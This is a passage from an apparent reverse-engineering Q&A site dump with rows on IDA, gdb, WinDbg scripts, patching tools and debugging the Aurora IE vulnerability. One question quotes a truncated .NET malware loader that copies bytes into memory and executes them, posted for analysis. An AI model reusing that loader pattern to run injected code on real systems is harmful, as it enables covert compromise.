feature?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2014-11-10T03:28:07.533" Title="OllyDbg 2: Providing label arguments?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6399" PostTypeId="1" AcceptedAnswerId="6650" CreationDate="2014-10-07T21:05:36.727" Score="1" ViewCount="2277" Body="&lt;p&gt;I am using IDA pro to decompile a series of applications.  These applications share a common feature and what I have found is that in each decompilation each application shares the same set of functions.  If the binary is stripped how does IDA pro work out the function names ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functions that I am seeing in common between the applications are all very abstract, for example &lt;code&gt;v404()&lt;/code&gt;, and as far as I can work out don't come from any open source library set of functions.&lt;/p&gt;&#xA;" OwnerUserId="4499" LastEditorUserId="53" LastEditDate="2014-10-08T11:52:04.907" LastActivityDate="2014-11-17T21:18:09.657" Title="How does IDA pro generate function names?" Tags="|ida|decompilation|functions|symbols|debugging-symbols|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6400" PostTypeId="1" AcceptedAnswerId="6407" CreationDate="2014-10-07T22:04:20.413" Score="1" ViewCount="1801" Body="&lt;p&gt;I'm attempting to inspect memory of an httpd binary compiled statically with openssl. When I list the httpd processes, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ps aux|grep httpd&#xA;root     58539  0.0  0.7  75364  3740 ?        Ss   14:49   0:00 /opt/httpd/bin/httpd&#xA;daemon   58850  0.0  0.5 364328  2556 ?        Sl   14:58   0:00 /opt/httpd/bin/httpd&#xA;daemon   58914  0.0  0.5 364328  2548 ?        Sl   14:59   0:00 /opt/httpd/bin/httpd&#xA;daemon   58942  0.0  0.5 364328  2544 ?        Sl   14:59   0:00 /opt/httpd/bin/httpd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then tried attaching to each of the processes individually and applying a breakpoint to the function I am trying to debug. However, the breakpoint never gets triggered, although I know the function is being called.  I assume this problem relates to something along the lines of httpd forking on a new process, but I'm a bit stuck on how to proceed. Is there a generic way to ensure my breakpoint is triggered even if the processes forks?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2014-10-09T05:10:04.297" Title="Debug httpd process" Tags="|gdb|dynamic-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6401" PostTypeId="2" ParentId="2172" CreationDate="2014-10-07T22:38:47.983" Score="6" Body="&lt;p&gt;@yaspr's answer is great, since this question got some bounty of &amp;quot;Looking for an answer drawing from credible and/or official sources.&amp;quot;, let me try to provide some references here.&lt;/p&gt;&#xA;&lt;p&gt;Generally in my understanding, &lt;code&gt;.PLT&lt;/code&gt; and &lt;code&gt;.GOT&lt;/code&gt; tables are required here because of performance issues.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www3.cs.stonybrook.edu/%7Emizhang/papers/binCFI.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinCFI&lt;/a&gt; is published on last year's top 2 computer security conference.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Since the purpose of PLT stubs is to dispatch cross&#xA;module calls, it would seem that the targets can only&#xA;be exported symbols from other modules. However, &lt;strong&gt;recent&#xA;versions of gcc support a new function type called&#xA;gnu indirect function, which allows a function to have&#xA;many different implementations, with the most suitable&#xA;one selected at runtime based on factors such as the CPU&#xA;type&lt;/strong&gt;. Currently, many glibc low level functions such as&#xA;&lt;strong&gt;memcpy&lt;/strong&gt;, &lt;strong&gt;strcmp&lt;/strong&gt; and &lt;strong&gt;strlen&lt;/strong&gt; use this feature. To support&#xA;this feature, a library exports a chooser function that selects at runtime which of the many implementations is&#xA;going to be used. These implementation functions may&#xA;not be exported at all.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Some other references on how to leverage this feature are listed here.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.agner.org/optimize//blog/read.php?i=167&quot; rel=&quot;nofollow noreferrer&quot;&gt;Agner's&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gcc.gnu.org/bugzilla/show_bug.cgi?id=40528&quot; rel=&quot;nofollow noreferrer&quot;&gt;GCC bugzilla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;GCC documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="245" LastEditDate="2023-03-01T20:00:07.407" LastActivityDate="2023-03-01T20:00:07.407" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6403" PostTypeId="2" ParentId="6389" CreationDate="2014-10-08T12:27:48.407" Score="1" Body="&lt;p&gt;A debugger cant read/log the Stack when an application is running and not stepped or paused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing to what you wanna do is called tracing and supported by some debuggers like OllyDbg and IDA&lt;/p&gt;&#xA;" OwnerUserId="8595" LastActivityDate="2014-10-08T12:27:48.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6404" PostTypeId="2" ParentId="6181" CreationDate="2014-10-08T12:34:26.130" Score="2" Body="&lt;p&gt;Try using &lt;a href=&quot;https://github.com/NtQuery/Scylla&quot; rel=&quot;nofollow&quot;&gt;Scylla&lt;/a&gt; for import reconstruction as ImpRec is outdated (The last update is from 2011, and form a third-party) and known for having problems nowadays.&lt;/p&gt;&#xA;" OwnerUserId="8595" LastEditorUserId="1485" LastEditDate="2014-10-08T13:22:27.430" LastActivityDate="2014-10-08T13:22:27.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6406" PostTypeId="1" AcceptedAnswerId="6412" CreationDate="2014-10-08T16:23:42.553" Score="1" ViewCount="1140" Body="&lt;p&gt;The !pte command in WinDbg gives all the information one may need regarding a virtual address (PDE and PTE location and content), but even on systems with PAE it says nothing about the Page Directory Pointer Table. &#xA;I know that I can get the physical base of the PDPT by looking at CR3, and then use the highest 2 bits of the VA as a index in that table to get to the PDPT Entry, but I'm just curious if there is a command that works like !pte when it comes to PAE as it will be a nice tool to verify my address translations step by step. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to determine MAXPHYADDR? I know it is at most 52. &lt;/p&gt;&#xA;" OwnerUserId="8119" LastEditorUserId="8119" LastEditDate="2014-10-08T16:29:25.400" LastActivityDate="2014-10-10T15:44:40.653" Title="Page Directory Pointer Table in WinDbg" Tags="|memory|windbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6407" PostTypeId="2" ParentId="6400" CreationDate="2014-10-08T16:36:53.567" Score="1" Body="&lt;p&gt;Depending on the worker model your apache is configured to use its likely a new worker is being spawned to handle your request if your bp isnt hitting. Like Guntram said you can &lt;a href=&quot;https://httpd.apache.org/dev/debugging.html&quot; rel=&quot;nofollow&quot;&gt;disable forking&lt;/a&gt; and put httpd in debug mode by using the &lt;code&gt;-X&lt;/code&gt; flag and starting gdb with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb httpd -X&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If for some reason you need to debug the multiple worker configured httpd you should use the gdb options &lt;code&gt;set follow-fork-mode ask&lt;/code&gt; or &lt;code&gt;set follow-fork-mode child&lt;/code&gt; if you know you'd like to follow all forks in advance. (&lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Forks.html&quot; rel=&quot;nofollow&quot;&gt;https://sourceware.org/gdb/onlinedocs/gdb/Forks.html&lt;/a&gt;). This would also be considered the 'generic approach' and would apply to programs that don't allow you to run single process in the foreground.&lt;/p&gt;&#xA;" OwnerUserId="8721" LastEditorUserId="36" LastEditDate="2014-10-09T05:10:04.297" LastActivityDate="2014-10-09T05:10:04.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6411" PostTypeId="1" CreationDate="2014-10-09T09:47:06.857" Score="6" ViewCount="1056" Body="&lt;p&gt;There's a .NET malware sample I'm trying to analyze, which goes more or less like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;internal static class Class1&#xA;{&#xA;    public static byte[] Code = new byte[]&#xA;    {&#xA;        9,&#xA;        249,&#xA;        131,&#xA;        225,&#xA;        ...,&#xA;    }&#xA;&#xA;    private static void Main()&#xA;    {  &#xA;        // AFAIU this copies the marshaled code in Code to freshly allocated memory&#xA;        IntPtr ptr = Class1.Alloc((uint)Class1.Code.Length);&#xA;        for (int i = 0; i &amp;lt; Class1.Code.Length; i++)&#xA;        {&#xA;            int num = (int)Marshal.ReadByte(Class1.Code, i);&#xA;            Marshal.WriteByte(ptr, i, (byte)num);&#xA;        }&#xA;&#xA;        Class1.newObject newObject = (Class1.newObject)Marshal.GetDelegateForFunctionPointer(ptr, typeof(Class1.newObject));&#xA;&#xA;        object.Equals(null, null);&#xA;        [...snip...]&#xA;        object.Equals(null, null); // probably some timing mechanism&#xA;&#xA;        Marshal.GetFunctionPointerForDelegate(newObject);&#xA;        newObject();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I'm trying to get to the code behind newObject()&lt;/strong&gt;, which is apparently instantiated from marshaled code. I'm no .Net expert, but from what I read marshaled code is some kind of serialization that can be applied on objects to transfer functional code over binary channels (such as a TCP connection, for example). From what I understand, I should be able to reverse it to an understandable, or at least bytecode-like format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried software like ILSpy and dotPeek but they don't seem to recognize the code in &lt;code&gt;Code&lt;/code&gt; as being managed code, and provide no usable output.&lt;/p&gt;&#xA;" OwnerUserId="4590" LastActivityDate="2014-10-16T13:12:49.467" Title="Decompiling .NET marshaled code" Tags="|disassembly|malware|.net|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6412" PostTypeId="2" ParentId="6406" CreationDate="2014-10-09T10:17:52.927" Score="2" Body="&lt;p&gt;for &lt;code&gt;va to phys address translatio&lt;/code&gt;n there is a windbg bang command&lt;br&gt;&#xA;&lt;code&gt;!vtop 0 &amp;lt; VirtualAddress &amp;gt;&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;a sample output from that command  below&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !vtop 0 403000&#xA;X86VtoP: Virt 00403000, pagedir 11800480&#xA;X86VtoP: PAE PDPE 11800480 - 00000000387a9001&#xA;X86VtoP: PAE PDE 387a9010 - 000000001b6b7067&#xA;X86VtoP: PAE PTE 1b6b7018 - 800000001bb2e225&#xA;X86VtoP: PAE Mapped phys 1bb2e000&#xA;Virtual address 403000 translates to physical address 1bb2e000.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;below is a windbg script that i wrote &lt;code&gt;(can be buggy havent tested this in a 64 bit machine )&lt;/code&gt;&lt;br&gt;&#xA;this script takes a process name and a virtual address in that process splits it into pd pde pte and offset and retrieves the physical address and prints the contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;script contents&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r $t0 = ${$arg1}&#xA;r $t1 = ${$arg2}&#xA;r $t2 = (( @$t1 &amp;amp; 0xc0000000 ) &amp;gt;&amp;gt; 0n29 )&#xA;r $t3 = (( @$t1 &amp;amp; 0x3fe00000 ) &amp;gt;&amp;gt; 0n21 )&#xA;r $t4 = (( @$t1 &amp;amp; 0x001ff000 ) &amp;gt;&amp;gt; 0n12 )&#xA;r $t5 = (( @$t1 &amp;amp; 0x00000fff ) &amp;gt;&amp;gt; 0n00 )&#xA;.printf &quot;Page Directory Index      \t%x\n&quot; , @$t2&#xA;.printf &quot;Page Directory Entry Index\t%x\n&quot; , @$t3&#xA;.printf &quot;Page Table Entry Index    \t%x\n&quot; , @$t4&#xA;.printf &quot;Offset                    \t%x\n&quot; , @$t5&#xA;.foreach /pS 1 /ps 100 ( place { !process 0 0 ${$arg1} } ) { r $t6 = place }&#xA;.process /p /r @$t6&#xA;db @$t1&#xA;r $t7 = @@c++( *(ULONG *)@$proc-&amp;gt;Pcb.DirectoryTableBase )&#xA;.printf &quot;printing PDINDEX[%08x]\n&quot;,@$t2&#xA;!dd @$t7 + @$t2 * @@c++(sizeof(INT64)) l1&#xA;.printf &quot;printing PDEINDEX[%08x]\n&quot;,@$t3&#xA;.foreach /pS 1 /ps 100 (place {!dd @$t7 + @$t2 * @@c++(sizeof(INT64)) l1 } ) {r $t8 = ( place &amp;amp; 0xfffff000 ) ; !dd ( place &amp;amp; 0xfffff000) l1 }&#xA;.printf &quot;printing PTEINDEX[%08x]\n&quot;,@$t4&#xA;.foreach /pS 1 /ps 100 (place {!dd @$t8 + @$t3 * @@c++(sizeof(INT64)) l1 } ) {r $t9 = ( place &amp;amp; 0xfffff000 ) ; !dd ( place &amp;amp; 0xfffff000) l1 }&#xA;.printf &quot;printing Offset[%08x]\n&quot;,@$t5&#xA;.foreach /pS 1 /ps 100 (place {!dd @$t9 + @$t4 * @@c++(sizeof(INT64)) l1 } ) {r $t10 = ( place &amp;amp; 0xfffff000 ) ; !db ( place &amp;amp; 0xfffff000) }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;output of a sample run&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; $$&amp;gt;a&amp;lt; .\scripts\splitva.txt msgbox.exe 403000&#xA;Page Directory Index        0&#xA;Page Directory Entry Index  2&#xA;Page Table Entry Index      3&#xA;Offset                      0&#xA;Implicit process is now 86389020&#xA;Loading User Symbols&#xA;..........&#xA;00403000  49 63 7a 65 6c 69 6f 6e-27 73 20 74 75 74 6f 72  Iczelion's tutor&#xA;00403010  69 61 6c 20 6e 6f 2e 32-00 57 69 6e 33 32 20 41  ial no.2.Win32 A&#xA;00403020  73 73 65 6d 62 6c 79 20-69 73 20 47 72 65 61 74  ssembly is Great&#xA;00403030  21 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  !...............&#xA;00403040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;00403050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;00403060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;00403070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;printing PDINDEX[00000000]&#xA;#11800480 387a9001&#xA;printing PDEINDEX[00000002]&#xA;#387a9000 297b9067&#xA;printing PTEINDEX[00000003]&#xA;#1b6b7000 3dcb8025&#xA;printing Offset[00000000]&#xA;#1bb2e000 49 63 7a 65 6c 69 6f 6e-27 73 20 74 75 74 6f 72 Iczelion's tutor&#xA;#1bb2e010 69 61 6c 20 6e 6f 2e 32-00 57 69 6e 33 32 20 41 ial no.2.Win32 A&#xA;#1bb2e020 73 73 65 6d 62 6c 79 20-69 73 20 47 72 65 61 74 ssembly is Great&#xA;#1bb2e030 21 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 !...............&#xA;#1bb2e040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................&#xA;#1bb2e050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................&#xA;#1bb2e060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................&#xA;#1bb2e070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-10-09T10:17:52.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6413" PostTypeId="2" ParentId="6411" CreationDate="2014-10-09T14:17:55.390" Score="1" Body="&lt;p&gt;You could likely open the file in IDA and force IDA to interpret the IL machine code bytes as code, thus giving you the disassembly for the IL machine code bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since you asked about decompiling it, you could try &quot;force-feeding&quot; the IL machine code bytes to &lt;a href=&quot;https://github.com/icsharpcode/ILSpy&quot; rel=&quot;nofollow&quot;&gt;ILSpy&lt;/a&gt;'s decompiler functions to see if it can decompile it for you. You'd need to look through the source code for &lt;a href=&quot;https://github.com/icsharpcode/ILSpy&quot; rel=&quot;nofollow&quot;&gt;ILSpy&lt;/a&gt; to figure out what function(s) to call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that this isn't an ideal solution, so hopefully someone can post a better answer :)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-10-09T14:17:55.390" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6414" PostTypeId="2" ParentId="1930" CreationDate="2014-10-09T15:04:11.530" Score="5" Body="&lt;p&gt;It is possible the ways the other commenters suggested. However, all of them are interceptable, if you read a file, it can be intercepted and your program will be given different result, if you check if LD_PRELOAD is set, it can be unset before you can reach out to it, etc. Suid is another story, though, but there may be different ways of exploiting it too.&lt;/p&gt;&#xA;" OwnerUserId="8733" LastActivityDate="2014-10-09T15:04:11.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6415" PostTypeId="2" ParentId="6392" CreationDate="2014-10-09T17:15:16.593" Score="1" Body="&lt;p&gt;In such cases I use &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb842062.aspx&quot; rel=&quot;nofollow&quot;&gt;Sysinternals Suite&lt;/a&gt; which provides a wide toolset. For your particular scenario try &quot;Process Monitor&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another good system monitor would be &lt;a href=&quot;http://www.gmer.net/&quot; rel=&quot;nofollow&quot;&gt;GMER&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8595" LastActivityDate="2014-10-09T17:15:16.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6416" PostTypeId="1" CreationDate="2014-10-09T17:27:53.033" Score="1" ViewCount="277" Body="&lt;p&gt;I'm working with Burp 1.6. &lt;em&gt;Intercept&lt;/em&gt; is off, and I want to log all client requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visiting Burp's &lt;a href=&quot;http://portswigger.net/burp/help/options_misc.html#logging&quot; rel=&quot;nofollow&quot;&gt;help page on logging&lt;/a&gt; page, there's supposed to be an Options tab or Misc tab (I can't quite ll which it should have). Unfortunately, I don't see either of them. The tabs I have are &lt;em&gt;Targets&lt;/em&gt;, &lt;em&gt;Proxy&lt;/em&gt;, ..., &lt;em&gt;Alerts&lt;/em&gt;. There is an &lt;em&gt;Option&lt;/em&gt; tab, but it does not provide any logging options. Only &lt;em&gt;Authentication&lt;/em&gt;, &lt;em&gt;Upstream Proxy&lt;/em&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where, exactly, do I ensure logging of all requests (and responses) is enabled?&lt;/p&gt;&#xA;" OwnerUserId="5853" LastActivityDate="2016-09-09T22:31:16.270" Title="Log all client requests?" Tags="|dynamic-analysis|proxy|" AnswerCount="2" CommentCount="7" ClosedDate="2016-09-20T15:16:59.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="6418" PostTypeId="2" ParentId="6406" CreationDate="2014-10-10T15:25:12.983" Score="2" Body="&lt;p&gt;To answer your other question, maxphyaddr and the AMD counterpart are found via cpuid leaves, but it's important to note that the bus interface to the MCH (which is typically integrated on the cpu these days) probably only uses 33-36 of those lines on the address bus.&lt;/p&gt;&#xA;" OwnerUserId="3406" LastEditorUserId="3406" LastEditDate="2014-10-10T15:44:40.653" LastActivityDate="2014-10-10T15:44:40.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6419" PostTypeId="1" AcceptedAnswerId="6421" CreationDate="2014-10-10T19:33:44.593" Score="5" ViewCount="2094" Body="&lt;p&gt;I've recently been undertaking a little RE project where I needed to patch the executable. For small modifications, I know enough x86 to patch in an jump, nop, infinite loop, etc, so a hex editor is good enough. But what about larger ones? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to use OllyDbg for this, there were great tools in it, you could go to any line, press space and just start assembling, instructions you replaced would be padded with NOPs automatically and there were even nice plugins to find code caves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, OllyDbg seems barely updated these days and fails to load any application on 64 bit Windows 8.1, so I've switched to Hiew. Hiew isn't bad, but the interface is well, more than a little dated and fairly cumbersome to use compared to Olly's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if anyone knows any more modern tools that can perform this same sort of function. &lt;/p&gt;&#xA;" OwnerUserId="8743" LastEditorUserId="53" LastEditDate="2014-10-11T08:51:56.190" LastActivityDate="2014-10-13T07:00:56.827" Title="Are there any modern assembly-level patching tools?" Tags="|ollydbg|patching|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6420" PostTypeId="1" AcceptedAnswerId="6422" CreationDate="2014-10-10T19:40:10.940" Score="2" ViewCount="144" Body="&lt;p&gt;As part of an assignment, I am trying to do some debugging in &lt;code&gt;iexplore.exe&lt;/code&gt; (Aurora vulnerability).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I load the test webpage in iexplorer 8, I open windbg and attach to the iexplore process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I verify my symbolpath by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.sympathy&#xA;Symbol search path is: srv*C:\Users\User\Desktop\Symbols&#xA;Expanded Symbol search path is: srv*c:\users\user\desktop\symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that what I am interested in is inside of &lt;code&gt;mshtml&lt;/code&gt;, so I list all the symbols in mshtml via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x /t /n mshtml!*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;u mshtml!CEventObj::GenericGetElement&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To see the function I am interested in and discover that one of the instructions I want to examine is at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mshtml!CEventObj::GenericGetElement+0x91&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try setting a breakpoint at that address by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bp mshtml!CEventObj::GenericGetElement+0x91&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the breakpoint shown is actually at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mshtml!CEventObj::GenericGetElement+0x3b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why isn't my breakpoint at the point I specified ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I have tried using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;u mshtml!CEventObj::GenericGetElement+0x91&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the code is totally different than when I simply unassembled the entire function based on the symbol address for the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8742" LastEditorUserId="53" LastEditDate="2014-10-11T08:51:10.063" LastActivityDate="2014-10-11T08:51:10.063" Title="windbg refferencing symbols is inconsistent" Tags="|windbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6421" PostTypeId="2" ParentId="6419" CreationDate="2014-10-10T22:17:08.920" Score="4" Body="&lt;p&gt;If you have IDA pro, IDA patcher was released recently. While I haven't used it personally, it won one of the Hexrays plugin contests, and is probably pretty reasonable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://thesprawl.org/projects/ida-patcher/&quot; rel=&quot;nofollow&quot;&gt;https://thesprawl.org/projects/ida-patcher/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also this simple python script which I have used in the past:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stalkr.net/files/ida/idadif.py&quot; rel=&quot;nofollow&quot;&gt;http://stalkr.net/files/ida/idadif.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not modern, but it works.&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2014-10-10T22:17:08.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6422" PostTypeId="2" ParentId="6420" CreationDate="2014-10-11T02:51:19.410" Score="1" Body="&lt;p&gt;due to optimizations which include chunking of functions the offsets in the symbols are rendered irrelevent use actual address to set breakpoints windbg normally shows the actual address in brackets at the end&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example some random function in msxml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:007&amp;gt; ? msxml3!AbortParse &#xA;Evaluate expression: 1956897309 = 74a3e21d&#xA;0:007&amp;gt; # je msxml3!AbortParse l10&#xA;msxml3!AbortParse+0x18:&#xA;74a3e235 7451            je      msxml3!AbortParse+0x61 (74a3e288)&#xA;0:007&amp;gt; bp msxml3!AbortParse+0x61&#xA;0:007&amp;gt; bp 74a3e288&#xA;0:007&amp;gt; bl&#xA; 0 e 74a3e27e     0001 (0001)  0:**** msxml3!AbortParse+0x57&#xA; 1 e 74a3e288     0001 (0001)  0:**** msxml3!AbortParse+0x61&#xA;0:007&amp;gt; .bpcmds&#xA;bp0 0x74a3e27e ;&#xA;bp1 0x74a3e288 ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-10-11T02:51:19.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6423" PostTypeId="1" CreationDate="2014-10-11T06:55:56.963" Score="0" ViewCount="3103" Body="&lt;p&gt;I use &lt;a href=&quot;http://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/&quot; rel=&quot;nofollow&quot;&gt;http://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/&lt;/a&gt; to loadlibrary from memory.&#xA;but when use in my code &quot;throw&quot; program crashing.&#xA;What's the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code i use like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;excpt.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA; void func()&#xA;{&#xA; __try{&#xA;  MessageBoxA(0,&quot;try&quot;,&quot;try&quot;,0);&#xA;  if (1)&#xA;  {&#xA;   throw 10;&#xA;  }&#xA; }__finally{&#xA;  MessageBoxA(0,&quot;finally&quot;,&quot;finally&quot;,0);&#xA; }&#xA;}&#xA;void DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)&#xA;{&#xA; try&#xA; {&#xA;  func();&#xA; }&#xA; catch(int a)&#xA; {&#xA;  MessageBoxA(0,&quot;catch&quot;,&quot;catch&quot;,0);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when call &quot;throw 10;&quot; program crashing.&lt;/p&gt;&#xA;" OwnerUserId="4754" LastActivityDate="2014-11-10T22:44:42.313" Title="LoadLibrary from memory" Tags="|c++|dll|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6424" PostTypeId="2" ParentId="6419" CreationDate="2014-10-11T10:35:09.637" Score="6" Body="&lt;p&gt;I regularly use &lt;a href=&quot;http://radare.org&quot;&gt;radare2&lt;/a&gt; for patching binaries. It works quite well, it's free (as in freedom), and scriptable.&lt;/p&gt;&#xA;" OwnerUserId="8747" LastEditorUserId="1485" LastEditDate="2014-10-12T16:14:12.023" LastActivityDate="2014-10-12T16:14:12.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6426" PostTypeId="2" ParentId="6423" CreationDate="2014-10-11T14:39:17.510" Score="1" Body="&lt;p&gt;The answer differs on x86 and x64, I'm only going to answer for x86.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various types of exception dispatching mechanisms. Your code uses SEH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As SEH was abused in &lt;a href=&quot;https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/&quot; rel=&quot;nofollow&quot;&gt;exploits&lt;/a&gt;(e.g. MS03-026) Microsoft decided to protect against that with SafeSEH introduced in Server 2003.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sota.gen.nz/veh/seh_xp.txt&quot; rel=&quot;nofollow&quot;&gt;http://sota.gen.nz/veh/seh_xp.txt&lt;/a&gt; is an annotated decompiled version for XP.&lt;br&gt;&#xA;It starts in RtlDispatchException(), the 